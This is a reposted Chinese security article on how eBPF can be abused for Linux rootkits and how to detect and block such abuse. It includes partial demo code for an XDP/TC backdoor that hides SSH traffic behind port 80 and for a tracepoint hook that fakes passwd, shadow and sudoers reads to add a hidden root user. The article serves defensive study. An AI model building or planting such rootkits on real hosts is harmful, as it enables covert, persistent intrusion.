基于eBPF的恶意利用与检测机制

最新推荐文章于 2024-05-16 09:50:13 发布
最新推荐文章于 2024-05-16 09:50:13 发布
阅读量650 收藏 4
点赞数 1
文章标签： 网络 运维
原文链接：https://mp.weixin.qq.com/s/-1GiCncNTqtfO_grQT7cGw
版权

前言

近几年来，云原生领域飞速发展，k8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由，都给内核带来了新的挑战。系统内核在面对复杂性不断增长，性能、可扩展性新需求的同时，还需要保障系统稳定可用，这是极其困难的事情。

eBPF出现，以较小的子系统改动，保障了系统内核的稳定。具备实时动态加载的特性，将业务逻辑加载到内核，实现热更新的动态执行。eBPF技术的出现，衍生新业务场景的同时，也带来了安全威胁。

现状分析

在解决很多技术难题的同时，eBPF技术的出现也带来了新的恶意利用，从一些海外资料和国内资料中可以看到，目前关于eBPF技术恶意利用的现状如下所示：

海外资料

· Black Hat 在Black Hat 2021的峰会中，Datadog工程师Guillaume Fournier分享了《With Friends Like eBPF, Who Needs Enemies?》[文末链接-1]介绍了eBPF的恶意利用，如何构建一个rootkit，入侵者会如何利用。并把代码放在https://github.com/Gui774ume/ebpfkit上，包括检测防御代码。

· 在DEF CON29峰会上，安全研究员Pat Hogan也分享了一篇关于eBPF的恶意利用案例：《Warping Reality - creating and countering the next generation of Linux rootkits using eBPF》[文末链接-2] ，介绍了eBFP rootkit的应用场景，包括网络、运行时等，以及如何检测eBPF的恶意利用等。代码在https://github.com/pathtofile/bad-bpf 。
在这里插入图片描述

国内资料

国内在eBPF恶意利用的资料较少，相关技术分享也少，它的危害没有得到国内同行的注意，势必影响到国内公司在网络安全防御体系的建设，导致落后于国外，给企业安全甚至国家安全带来较大风险。笔者作为防御体系建设方，有责任带领大家更好的认识这种恶意利用，分享检测防御经验，加固网络安全产品，为国内信息安全建设贡献一份力。

eBPF技术恶意利用的攻击原理

知己知彼才能百战不殆，要想做好防御，必须要了解他的攻击原理，我们一起来看下他的rootkit是如何设计的，功能有哪些？

从eBPF的功能来看，提供了

  • 网络
  • 监控
  • 观察
  • 跟踪&性能分析
  • 安全

等几个领域功能。在网络领域，Cilium等云原生公司做了很多网络层的产品，在实现网格管理的同时，也做了响应的网络层面安全策略，尤其是网络编排领域，表现尤为亮眼，逐步代替iptables等产品，大有一统江山的趋势。在监控、观测等领域也有很多产品。尤其是运行时安全领域，Datadog 、Falco、Google等公司，都推出了相应的产品。笔者在博客上也有过相关产品源码分析的分享。

我们回顾一下eBPF技术的hook点：
在这里插入图片描述
从图中可以看出，eBPF的hook点功能包括以下几部分：

  1. 可以在Storage、Network等与内核交互之前
  2. 也可以在内核中的功能模块交互之间
  3. 又可以在内核态与用户态交互之间
  4. 更可以在用户态进程空间

eBPF的功能覆盖XDP、TC、probe、socket等，每个功能点都能实现内核态的篡改行为，从而使得用户态完全致盲，哪怕是基于内核模块的HIDS，一样无法感知这些行为。

笔者基于eBPF的功能函数，从业务场景来看，网络、监控、观测类的功能促进了云原生领域的产品发展；跟踪/性能分析、安全类功能，加快了安全防御、审计类产品演进；而安全领域的恶意利用，也会成为黑客关注的方向。在这里，笔者与大家探讨一下新的威胁与防御思路：

在这里插入图片描述
从数据流所处阶段来看，笔者划分为两部分，接下来一起来讨论恶意利用、风险危害与防御思路。

  1. Linux网络层恶意利用
  2. Linux系统运行时恶意利用

网络层恶意利用

以一个SSH、WEB服务的服务器为例，在IDC常见网络访问策略中，开放公网web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP，或者只开放内网端口访问。

假设这台服务器已经被黑客入侵，黑客需要留下一个后门，且需要一个隐藏、可靠的网络链路作为后门通道，那么在eBPF技术上，会如何实现呢？

XDP/TC层修改TCP包

为了让后门隐藏的更好，最好是不开进程，不监听端口（当前部分我们只讨论网络层隐藏）。而eBPF技术在XDP、TC、socket等内核层的功能，能够实现流量信息修改，这些功能常被应用在L3、L4的网络负载均衡上。比如cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后，更改了TCP包的目标IP，系统内核再将该数据包转发出去。按照XDP与TC在Linux内核中，处理ingress与egress的位置，可以更准确地确定hook点。
在这里插入图片描述
XDP的BPF_PROG_TYPE_XDP程序类型，可以丢弃、修改、重传来自ingress的流量，但无法对egress起作用。TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP BPF_PROG_TYPE_XDP的功能外，还可以对egress起作用。

前者最常用的场景就是做网络防火墙，用于网络流量清洗，效率比传统防火墙的高很多。后者常用于云原生场景下，容器、POD的网络监控、安全访问控制等。在这个例子中，要多进出流量都做调整，故两个hook点都需要有。同样，在XDP等阶段的hook，在这里做相关包逻辑处理，能更好的将通讯包隐藏，tcpdump等工具都抓不到。

控制链路

在后门场景里，可以在同样的位置，像eBPF的负载均衡一样，修改目标端口，从web nginx 的80改为SSHD的22，就可以实现网络数据的透传，绕开防火墙以及网络访问限制。

认证密钥

由于后门rootkit是在XDP\TC层工作，为了尽可能的简单，认证密钥最好只使用链路层、网络层、传输层的数据，即MAC信息、IP五元组之类。IP经常变动，MAC地址大概率是唯一的，以及设定一个固定的端口，这样更加唯一，作为rootkit的认证密钥即可实现。（需要client发起连接时，指定客户端的TCP端口）

eBPF uprobe与eBPF map联动

对于后门rootkit的密钥更新，利用eBPF也很好实现。比如，在nginx的场景中，uprobe实现hook http的函数，获取url参数中特定字符串，再将字符串保存到eBPF map里，就实现了密钥更新。

XDP/TC层的eBPF rootkit执行时，读取eBPF map里的密钥，进行比较运算。

实现流程：
举个XDP处理ingress的例子：

SEC("xdp/ingress")
 int xdp_ingress(struct xdp_md *ctx) {
	 struct cursor c;
	 struct pkt_ctx_t pkt;
	 
	 //判断是否为SSHD的协议，不是则直接放行
	 if (!(不是SSHD协议(&c))) {
	 return XDP_PASS;
	 }
	
	//判断rootkit是否匹配，网卡信息与来源端口是否匹配
	hack_mac[] = "读取bpf map配置。"
	if(密钥不匹配) {
		return XDP_PASS;
	}
	
	// 读取map，是否已经存在该client信息
	struct netinfo client_key = {};
	__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);
	
	struct netinfo *client_value;
	client_value = bpf_map_lookup_elem(&ingress_client, &client_key);
	
	// 如果没找到伪装信息，则自己组装
	if(!client_value) {
		__builtin_memset(&client_value, 0, sizeof(client_value));
	} else {
		bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
	}
	
	
	// 伪装mac局域网mac信息
	pkt.eth->h_source[0] = 0x00;
	...
	
	// 替换伪装ip来源 ，客户端端口不变
	
	// 更改目标端口
	pkt.tcp->dest = htons(FACK_PORT);    //22
	
	//计算TCP SUM layer 4
	ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);
	pkt.tcp->check = csum;
	
	//写入已伪装的map，用于TC处理egress的原mac、IP信息还原。
	return XDP_PASS;
}

比较简单的demo，即可实现 ingtrss侧TCP数据包的伪装。同样，TC层处理egress方向的数据包时，只需要对伪装包的原始信息作还原即可。整个流程如下图：
在这里插入图片描述
这样，rootkit的通讯链路并不影响正常用户访问，也没有对原系统做改动，隐蔽性特别好。

· 危害
这个rootkit不主动创建socket，借用其中一个网络发送包，把消息送达给后门使用者。对系统影响来说，只是一个不起眼的小网络响应。在万千HTTP包里，根本定位不到。

1、iptables防火墙绕过 ：利用对外开放的80端口作为通讯隧道；

2、webIDS绕过：流量到达服务器后，并不传递给nginx；

3、NIDS绕过：入侵者流量在局域网之间流传并无异常，只是无法解密；

4、HIDS绕过：是否信任了防火墙，忽略了本机/局域网来源的SSHD登录？

Linux系统运行时恶意利用

云原生生态下，涌现大批基于eBPF技术实现的集群网络管理插件，比如Calico、cilium等。而业务实现网络管理服务是以容器化方式部署，且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。这些服务的运行环境，也给攻击者留下一个完美的发挥空间。

· 实现流程
回顾eBPF的hook点，作用在syscall的kprobe、tracepoint事件类型，倘若用在后门rootkit场景，是十分可怕的。比如，修改内核态返回给用户态的数据，拦截阻断用户态行为等为所欲为。而更可怕的是，常见的HIDS都是基于内核态或者用户态做行为监控，这恰恰就绕开了大部分HIDS的监控，且不产生任何日志，简直细思极恐、不寒而栗。

tracepoint事件类型hook

在SSHD应用中，当用户登录时，会读取/etc/passwd等文件。用户态sshd程序，调用open、read等系统调用，让内核去硬件磁盘上检索数据，再返回数据给sshd进程。

用户态生成payload

用户态实现/etc/passwd、/etc/shadow等文件payload的生成，并通过eBPF的RewriteConstants机制，完成对elf .rodata的字段值替换。


import "github.com/ehids/ebpfmanager"
 
 //  通过elf的常量替换方式传递数据
 func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor {
     var username = RandString(9)
     var password = RandString(9)
     var s = RandString(8)
 
     salt := []byte(fmt.Sprintf("$6$%s", s))
    // use salt to hash user-supplied password
    c := sha512_crypt.New()
    hash, err := c.Generate([]byte(password), salt)

	   var m = map[string]interface{}{}
    res := make([]byte, PAYLOAD_LEN)
    var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)
    copy(res, payload)
    m["payload"] = res
    m["payload_len"] = uint32(len(payload))

    // 生成passwd字符串
    var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username)
    // 生成shadow字符串
    var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash)

    // eBPF RewriteContants
    var editor = []manager.ConstantEditor{
        {
            Name:          "payload",
            Value:         m["payload"],
            FailOnMissing: true,
        },
        {
            Name:          "payload_len",
            Value:         m["payload_len"],
            FailOnMissing: true,
            },
    }
    return editor
}

func (this *MBPFContainerEscape) setupManagers() {
    this.bpfManager = &manager.Manager{
        Probes: []*manager.Probe{
            {
                Section:          "tracepoint/syscalls/sys_enter_openat",
                EbpfFuncName:     "handle_openat_enter",
                AttachToFuncName: "sys_enter_openat",
            },
            ...
        },

        Maps: []*manager.Map{
            {
                Name: "events",
            },
        },
    }

    this.bpfManagerOptions = manager.Options{
        ...
        // 填充 RewriteContants 对应map
        ConstantEditors: this.constantEditor(),
    }
}

内核态使用payload

 const volatile int payload_len = 0;
 ...
 const volatile char payload_shadow[MAX_PAYLOAD_LEN];
 
 SEC("tracepoint/syscalls/sys_exit_read")
 int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
 {
     // 判断是否为rootkit行为，是否需要加载payload
     ...
    long int read_size = ctx->ret;
    // 判断原buff长度是否小于payload
    if (read_size < payload_len) {
        return 0;
    }

    // 判断文件类型，匹配追加相应payload
    switch (pbuff_addr->file_type)
    {
    case FILE_TYPE_PASSWD:
        // 覆盖payload到buf，不足部分使用原buff内容
        {
            bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);
            for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {
                if (i >= payload_passwd_len) {
                    local_buff[i] = ' ';
                }
                else {
                    local_buff[i] = payload_passwd[i];
                }
            }
        }
        break;
    case FILE_TYPE_SHADOW:
        // 覆盖 shadow文件
        ...
        break;
    case FILE_TYPE_SUDOERS:
        //覆盖sudoers
        ...
        break;
    default:
        return 0;
        break;
    }


    // 将payload内存写入到buffer
    ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);
    // 发送事件到用户态

    return 0;
}

按照如上demo rootkit的设计，即完成了随机用户名密码的root账号添加。在鉴权认证上，也可以配合eBPF网络层恶意利用的demo，利用eBPF map交互，实现相应鉴权。但rootkit本身并没有更改硬盘上文件，不产生风险行为。并且，只针对特定进程的做覆盖，隐蔽性更好。整个流程如下图：
在这里插入图片描述
不管是在物理机上，还是给了root+BPF权限的容器上，都一样生效。

· 危害
云原生场景下，赋予SYS_ADMIN的权限的容器场景很多，若配合近期的JAVA log4j漏洞，直接击穿容器，拿到宿主机权限，是不是很可怕？

然而，比这可怕的是这种rootkit本身并没有产生用户态行为日志，也没有改文件，系统里查不到这个用户信息。整个后门行为不产生数据，让大部分HIDS失灵。

综述

从笔者演示的这两个场景可以来看，大家已经知道eBPF技术被恶意利用的危害。其实，这只是eBPF技术的冰山一角，在kproeb\uprobe上也有很多功能，比如实现进程隐藏，无痕内网扫描等等。相关恶意利用可参考《Bad BPF - Warping reality using eBPF》[文末链接-3]一文。

若入侵者精心设计rootkit，实现进程隐藏等，让rootkit更加隐蔽，按照本文的思路，实现一个幽灵般的后门，想想就让人后怕。

常规的主机安全防御产品一般用netlink linux kernel module等技术实现进程创建、网络通讯等行为感知，而eBPF的hook点可以比这些技术更加深，比他们执行更早，意味着常规HIDS并不能感知发现他们。

传统rootkit，采用hook api方法，替换原来函数，导致执行函数调用地址发生变化，已有成熟检测机制，eBPF hook不同于传统rootkit ，函数调用堆栈不变。这给检测带来很大的麻烦。

那面对这种后门，该如何检测防御呢？

检测防御

从事件发生的过程来看，分为三个阶段：

  • 运行前
  • 运行时
  • 运行后
    在这里插入图片描述

运行前

在恶意程序运行前，减少攻击面，这个思路是不变的。
· 环境限制
不管是宿主机还是容器，都进行权限收敛，能不赋予SYS_ADMIN、CAP_BPF等权限，就禁止掉。若一定要开放这个权限，那么只能放到运行时的检测环节了。

· seccomp限制
在容器启动时，修改默认seccomp.json，禁止bpf系统调用，防止容器逃逸，注意此方法对于Privileged特权容器无效。

· 内核编译参数限制
修改函数返回值做运行时防护时，需要用到bpf_override_return，该函数需要内核开启CONFIG_BPF_KPROBE_PVERRIDE编译参数，因此非特殊情况不要开启该编译参数。

· 非特权用户指令
大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外，比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB这两个类型，就不需要root。但需要读取系统配置开关。

//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240

if (type != BPF_PROG_TYPE_SOCKET_FILTER &&
        type != BPF_PROG_TYPE_CGROUP_SKB &&
        !bpf_capable())
        return -EPERM;

开关确认
在/proc/sys/kernel/unprivileged_bpf_disabled里，可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。配置含义见Documentation for

/proc/sys/kernel/ [文末链接-4]

  • 值为0表示允许非特权用户调用bpf
  • 值为1表示禁止非特权用户调用bpf且该值不可再修改，只能重启后修改
  • 值为2表示禁止非特权用户调用bpf，可以再次修改为0或1

· 特征检查

有人提议，在内核加载bpf字节码时，进行签名验证，以便达到只加载安全签名的bpf字节码。lwn.net中也列出这个话题：BPF字节码签名计划[文末链接-5]。

但很多人也提出反对意见[文末链接-6] ，认为bpf模块这几年的发展，过于抽象化，越来越复杂，不希望加入额外的功能，让bpf更加不稳定。而是改变思路，让字节码加载时签名，改为「执行bpf字节码加载的用户态程序进行签名」，这个是已有的内核功能，不会增加系统复杂性。

笔者认为，这确实可以缓解大部分bpf字节码加载的问题。但使用系统原生命令(tc\ip\bpftool等)加载的话，仍面临威胁。比如：ip link set dev ens33 xdp obj xdp-example_pass.o

· 运行检查
大部分eBPF程序在重启后不存在了，所以，入侵者会尽可能让后门自启动。对于linux系统的自启动、crontab等计划任务做好检查。

用户态程序可以以各种形式存在，ELF可执行文件、ELF so动态链接库都可以。在执行时，必定会调用BPF syscall来加载BPF 字节码。若只是对可执行ELF做检测，还不够准确。

运行时

· 监控

linux系统中，所有的程序运行，都必须进行系统调用，eBPF程序也不例外。需要调用syscall为321的SYS_BPF指令。

并且，所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么，在这个必经之路进行拦截监控，是最好的方案。

SEC("tracepoint/syscalls/sys_enter_bpf")
 int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
     struct bpf_context_t *bpf_context = make_event();
     if (!bpf_context)
         return 0;
     bpf_context->cmd = args->cmd;
     get_common_proc(&bpf_context->procinfo);
     send_event(args, bpf_context);
     return 0;
}

这里，我们开源的ehids项目做了一个bpf syscall检测的例子，大家可以fork了解。仓库见https://github.com/ehids/ehids-agent[文末链接-7]

当然，细心的读者会有疑问，假如入侵者的后门执行比较早，对这个系统调用进行欺骗，那怎么办呢？这是个好问题，我们放到运行后的溯源章节讨论。但对于大部分场景，HIDS防御产品还是可以做到第一时间启动的。

· 审计&筛查
上面我们讨论了对bpf系统调用进行监控，在云原生场景中，基于eBPF实现的网络产品会频繁调用，会产生大量的事件日志，给运营同学带来较大压力。对行为做精简、做精确筛选就成为接下来的目标。

根据程序白名单筛选

数据过滤，是解决大量数据压力的方案。在一些BPF应用的业务服务器上，本身业务行为会产生大量调用，会给安全预警带来较大审计压力。对于已知的进程，可以根据进程特征过滤。

获取当前进程PID、COMM等特征，根据用户态写入eBPF map的配置，决定是否上报、是否拦截。也可以在用户态做过滤，但内核态效率更高。如果是做拦截，那必须要在内核态实现。参考saBPF产品设计思路[文末链接-8]，用eBPF实现LSM HOOK点的钩子程序，完成相关审计调用。https://github.com/saBPF-project/sabpf-kernel 项目代码还只是demo，思路可以借鉴。
在这里插入图片描述
· 根据SYSCALL类型筛选
在BPF syscall里，子命令的功能包含MAP、PROG等多种类型的操作bpf() subcommand reference[文末链接-9]里有详细的读写API。在实际的业务场景里，写的安全风险比读大。所以，我们可以过滤掉读操作，只上报、审计写操作。比如：

  • MAP的创建BPF_MAP_CREATE
  • PROG加载BPF_PROG_LOAD
  • BPF_OBJ_PIN
  • BPF_PROG_ATTACH
  • BPF_BTF_LOAD
  • BPF_MAP_UPDATE_BATCH

尤其是有BPF需求的业务场景，可以更好的审计日志。

运行后

问个问题，eBPF用户态程序与内核态程序交互，加载bpf字节码后，能退出吗？退出后，内核hook的bpf函数还工作吗？创建的map是否还存在？后门程序为了保证更好的隐蔽性，会如何选择？

要回答这个问题，不得不提BPF程序的加载机制，BPF对象生命周期。

· 文件描述符与引用计数器

用户态程序通过文件描述符FD来访问BPF对象（progs、maps、调试信息），每个对象都有一个引用计数器。用户态打开、读取相应FD，对应计数器会增加。若FD关闭，引用计数器减少，当refcnt为0时，内核会释放BPF对象，那么这个BPF对象将不在工作。

在安全场景里，用户态的后门进程若退出后，后门的eBPF程序也随之退出。在做安全检查时，这可以作为一个有利特征，查看进程列表中是否包含可疑进程。

但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看，只需要保证refcnt大于0，就可以让BPF对象存活，让后门进程持续工作了。其实在BPF的程序类型中，像XDP、TC和基于CGROUP的钩子是全局的，不会因为用户态程序退出而退出。相应FD会由内核维护，保证refcnt计数器不为零，从而继续工作。

· 溯源
在安全工程师视角里，就需要根据不同场景作不同的溯源策略。笔者给的溯源方式中，都使用了eBPF的相关接口，意味着，如果恶意程序比检查工具运行的早，那么对于结果存在伪造的可能。

防御

eBPF在网络安全场景的使用，除了做入侵检测外，还是可以用于防御。LSM PROBE HOOK提供了相关功能。以容器逃逸场景为例，行为最明显的特征是父子进程的namespace不一致，子进程创建完成后，判断这个特征是否匹配，返回EPERM覆盖进程创建函数的返回值，从而起到防御的目的。相比内核模块等防御实现，eBPF实现更加安全、稳定、可靠，从而在源头上解决容器逃逸的问题。

同样，笔者认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。
在这里插入图片描述

LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)
{
    return -EPERM;
}

在系统的配置上有一定要求，CONFIG_BPF_LSM=y，CONFIG_LSM配置内容，必须包含bpf等，详情可参考BCC类库Demo lsm probe

实现

入门练手，可以尝试使用BCC的类库：https://github.com/iovisor/bcc ，以及C语言用户空间程序的各种Demo例子Demo BPF applications

类库选择
工程化时，对项目质量、稳定性、研发效率等都有要求，推荐cilium的纯go eBPF类库，由cilium官方背书可放心使用。datadog公司的agent产品也是用这个类库。

笔者的产品也是参考datadog，抽象包装了cilium的eBPF库，实现配置化便捷管理eBPF程序。github仓库：https://github.com/ehids/ebpfmanager ，欢迎使用。
在这里插入图片描述

系统兼容性 CO-RE

eBPF的出现极大的简化了编写内核态代码的门槛，极高的安全性，友好的加载方式，高效的数据交互，令eBPF深受追捧。然而和编写传统内核模块相同，内核态的功能开发伴随着繁冗的适配测试工作，Linux繁多的内核版本更是让适配这件事难度陡增， 这也就是BTF出现之前的很长一段时间里，bcc + clang + llvm被人们诟病的地方。程序在运行的时候，才进行编译，目标机器还得安装clang llvm kernel-header等编译环境，同时编译也会消耗大量cpu资源，这在某些高负载机器上是不能被接受的。

因此BTF&CO-RE横空出现，BTF可以理解为一种debug符号描述方式，此前传统方式debug信息会非常巨大，linux内核一般会关闭debug符号，btf的出现解决了这一问题，大幅度减少debug信息的大小，使得生产场景内核携带debug信息成为可能。

可喜的是通过运用这项技术，可以帮助开发者节省大量适配精力，但是这项技术目前还是在开发中，还有许多处理不了的场景，比如结构体成员被迁入子结构体中，这时候还是需要手动解决问题，BTF的开发者也写了一篇文章，讲解不同场景的处理方案bpf-core-reference-guide

大型项目

在国外，云原生领域产品发展较快，涌现出一批批基于eBPF的产品，包括Cilium、Datadog 、Falco、Katran等，应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域，可以借鉴这些大型项目的研发经验，来加快产品建设，包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主，工程建设相关经验我们在以后的文章中分享。

总结

随着云原生快速发展，eBPF实现软件、运行环境会越来越多，而eBPF的恶意利用也会越来越普遍。从国内外的情况来看，国外对这个方向的研究远比国内超前**，笔者再次呼吁大家，网络安全产品应当尽快具备eBPF相关威胁检测能力。**

这里，笔者跟大家探讨了基于eBPF技术的恶意利用与检测机制。在文章之初，提到eBPF在防御检测产品研发、工程建设等，我们将在下一篇跟大家分享，敬请期待。

文末链接

链接-1:https://www.blackhat.com/us-21/briefings/schedule/#with-friends-like-ebpf-who-needs-enemies-23619

链接-2:https://defcon.org/html/defcon-29/dc-29-speakers.html#path

链接-3：https://blog.tofile.dev/2021/08/01/bad-bpf.html

链接-4:https://www.kernel.org/doc/html/latest/admin-guide/sysctl/kernel.html#unprivileged-bpf-disabled

链接-5:https://lwn.net/Articles/853489/

链接-6:https://lwn.net/Articles/854386/

链接-7:https://github.com/ehids/ehids-agent/blob/master/kern/bpf_call_kern.c

链接-8:https://github.com/ehids/slide/blob/master/security/2021-Secure_Namespaced_Kernel_Audit_for_Containers.pdf

链接-9:https://www.kernel.org/doc/html/latest/userspace-api/ebpf/syscall.html

链接-10：https://man7.org/linux/man-pages/man8/tc-bpf.8.html

链接-11:https://github.com/cylance/eBPF_processor

链接-12:https://blogs.blackberry.com/en/2021/12/reverse-engineering-ebpfkit-rootkit-with-blackberrys-free-ida-processor-tool
链接-13:https://github.com/iovisor/bcc/blob/master/docs/reference_guide.md#11-lsm-probes

链接-14:https://github.com/libbpf/libbpf-bootstrap

链接-15:https://nakryiko.com/posts/bpf-core-reference-guide/

声明

文章来源于 美团安全应急响应中心 ，文章原地址：https://mp.weixin.qq.com/s/-1GiCncNTqtfO_grQT7cGw 、如有冒犯请联系我尽快删除

原来是白同学呀
关注
  • 1
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于eBPF的开源项目
eBPF_Kindling的博客
04-29 910
引言 真正意义上的eBPF技术虽然诞生还不到十年时间(2014年首次提出eBPF概念)，但已经发展成为当下炙手可热的技术。去年8月，由微软、谷歌、Facebook(已更名为meta) 等公司联合成立了eBPF基金会，大力发展eBPF技术。最近几年，eBPF技术在国内也得到了广泛应用，很多大厂也开始关注并采用eBPF技术。 eBPF简介 eBPF是extended BPF的缩写，而BPF是Berkeley Packet Filter的缩写。对linux网络比较熟悉的小伙伴对BPF应该比较了解，它通过特定的语法
基于eBPF/XDP实现L4防火墙
02-27
互联网服务常常需要预防DDoS攻击，希望尽早丢弃攻击流量减少服务器资源的浪费。从概念上分析，防火墙是抵御DDoS的有效手段，但是实际基于NetFilter的IpTables并不能解决该问题，因为其处理报文的位置已分配SKB，大量无效SKB会耗尽内存资源，拖垮服务器。但基于eBPF/XDP实现的防火墙能够更早处理攻击流量而不消耗CPU和内存资源，更高效，更安全。
ebpf 研究之原始套接字数据包过滤
龙瑜的博客
01-09 1868
原始套接字数据包过滤 ebpf 支持原始套接字过滤功能，本文参考 《Linux 内核观测技术 BPF》第 6 章的示例进行描述，并深挖隐藏在 epbf 程序背后的一些技术细节。 ebpf 程序示例代码 bfp_program 源码如下： #include <linux/bpf.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #include <linux/in.h> #include &l
探索安全的未来：Seccomp 工具
最新发布
gitblog_00012的博客
05-16 320
探索安全的未来：Seccomp 工具 项目地址:https://gitcode.com/david942j/seccomp-tools 在信息安全的世界里，保护系统免受恶意攻击至关重要。而Seccomp Tools 是一款强大的工具集，专门用于分析和管理 Linux 系统上的安全上下文（seccomp）。这个开源项目旨在帮助开发者和安全专家更有效地理解和调试利用 seccomp 沙盒环境，尤其是在...
eBPF学习记录（四）使用libbpf开发eBPF程序
jianjian的博客
03-06 6708
上一节，我们使用了bpftrace 开发eBPF程序跟踪内核和用户态的程序，bpftrace 简单易用，非常适合入门，可以带初学者轻松体验 eBPF 的各种跟踪特性。但是，bpftrace 并不适用于所有的 eBPF 应用，它本身的限制导致我们无法在需要复杂 eBPF 程序的场景中使用它。在复杂的应用中，还是推荐使用 BCC 或者 libbpf 进行开发。现在讲一下BCC 的开发，有问题可以看官方文档。 现在我们试试使用BCC开发一个eBPF程序，分以下3个步骤， 使用 C 开发一个 eBPF 程序 使用
如何在 Kubernetes 环境中检测和阻止 DDoS 攻击
u012516914的专栏
08-01 234
DDoS 即分布式拒绝服务攻击已经存在很久了，臭名昭著且难以处理（与任何其他攻击一样）。顾名思义，DDoS 攻击会导致应用程序或服务因资源超出其容量而对用户不可用，并导致应用程序崩溃或无响应。DDoS 是 DoS 的一种形式，其中攻击来自多个来源（机器人），通常分布在各个地理位置。想象一下，您的手机在很短的时间内收到数千个垃圾电话，而其中一个合法电话正在尝试与您联系。您如何确保您参加合法的通话？插...
基于eBPF/XDP快速转发
04-02
eBPF（Extended Berkeley Packet Filter）是Linux内核中的一个技术，它提供了一种安全、灵活的机制来在内核中执行用户定义的程序，而无需修改内核代码。XDP（eXpress Data Path）是eBPF的一种应用，用于在网络数据包...
基于eBPF/XDP实现conntrack功能
06-19
但是 XDP 位置在进入网络栈之前，无法利用到内核栈的 conntrack 能力， Cilium 应该遇到同样的问题， 所以 Cilium 基于 eBPF 实现了 conntrack；换句话说，只要具备 Hook 能力，能拦截进出主机的每个报文，完全可以...
eBPF与SRE工作的结合利用
07-20
从SRE的角度来分析eBPF，能给其工作带来一系列的Tracing以及可观测方面的性能提升
基于Rust实现EBpf的采集Demo，使用aya-rs.zip
05-05
基于Rust实现EBpf的采集Demo，使用aya-rs.zip基于Rust实现EBpf的采集Demo，使用aya-rs.zip基于Rust实现EBpf的采集Demo，使用aya-rs.zip基于Rust实现EBpf的采集Demo，使用aya-rs.zip基于Rust实现EBpf的采集Demo，使用...
万字干货，eBPF 经典入门指南
极客重生
05-25 4180
eBPF 源于BPF[1]，本质上是处于内核中的一个高效与灵活的虚拟机组件，以一种安全的方式在许多内核 hook 点执行字节码。BPF最初的目的是用于高效网络报文过滤，经过重新设计，eBPF不再局限于网络协议栈，已经成为内核顶级的子系统，演进为一个通用执行引擎。开发者可基于 eBPF 开发性能分析工具、软件定义网络、安全等诸多场景。本文将介绍 eBPF 的前世今生，并构...
XDP784双偏振雷达基数据标准格式20170712_雷达基数据格式_c/C++_雷达数据读取_双基_
10-02
双偏振雷达数据格式说明，方便资料的读取与解码
eBPF开发文档
qq_43472789的博客
03-17 405
这是一个简单的eBPF程序开发指南，其中包含了编写、编译、加载、调试eBPF程序的一般流程和方法。
EBPF入门--环境搭建
VCanna的博客
10-27 1938
EBPF入门--环境搭建
首届中国eBPF大会分享---基于eBPF的内核漏洞检测实践
Rethinking the Kernel
11-14 4671
随着智能化、数字化、云化的飞速发展，全球基于Linux系统的设备数以百亿计，而这些设备的安全保障主要取决于主线内核的安全性和健壮性。传统的内核安全存在周期长、效率低以及版本适配的问题，有没有实用的方案能够实现高效检测内核漏洞？在11月12号，由西安邮电大学主办，中国科学院软件研究所指导的首届中国eBPF大会在线上顺利举办。此次大会上，我参与了探讨eBPF发展趋势的圆桌会议和《基于eBPF的内核漏洞检测实践》主题演讲，在此把精华内容分享给大家。
eBPF学习笔记（一）—— eBPF介绍&内核编译
qq_41988448的博客
11-11 3297
本篇将介绍eBPF技术，以及如何编译高版本Linux内核源码中的eBPF示例代码并用其编写自定义例程。
Eunomia: 让 ebpf 程序的分发和使用像网页和 web 服务一样自然
云微的blog
08-18 708
Eunomia 想要探索一条全新的路线：在本地编译或者远程服务器编译之后，使用 http RESTful API 直接进行 ebpf 字节码的分发，在生产环境最小仅需 4 MB 的运行时，约 100ms 的时间和微不足道的内存、CPU 占用即可实现 ebpf 代码动态分发、热加载、热更新，不受内核版本限制，不需要在生产环境中安装底层库（如 LLVM、python 等）、搭建环境即可启动；......
linux 安全系列目录 - seccomp安全模块问题排查
热门推荐
yushuoqi的博客
11-03 2万+
seccomp是一种Linux内核特性，允许限制进程可以执行的系统调用，以增加应用程序的安全性。总的来说，libseccomp是一个强大的工具，可用于在Linux系统上实施安全策略，并限制应用程序的系统调用。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值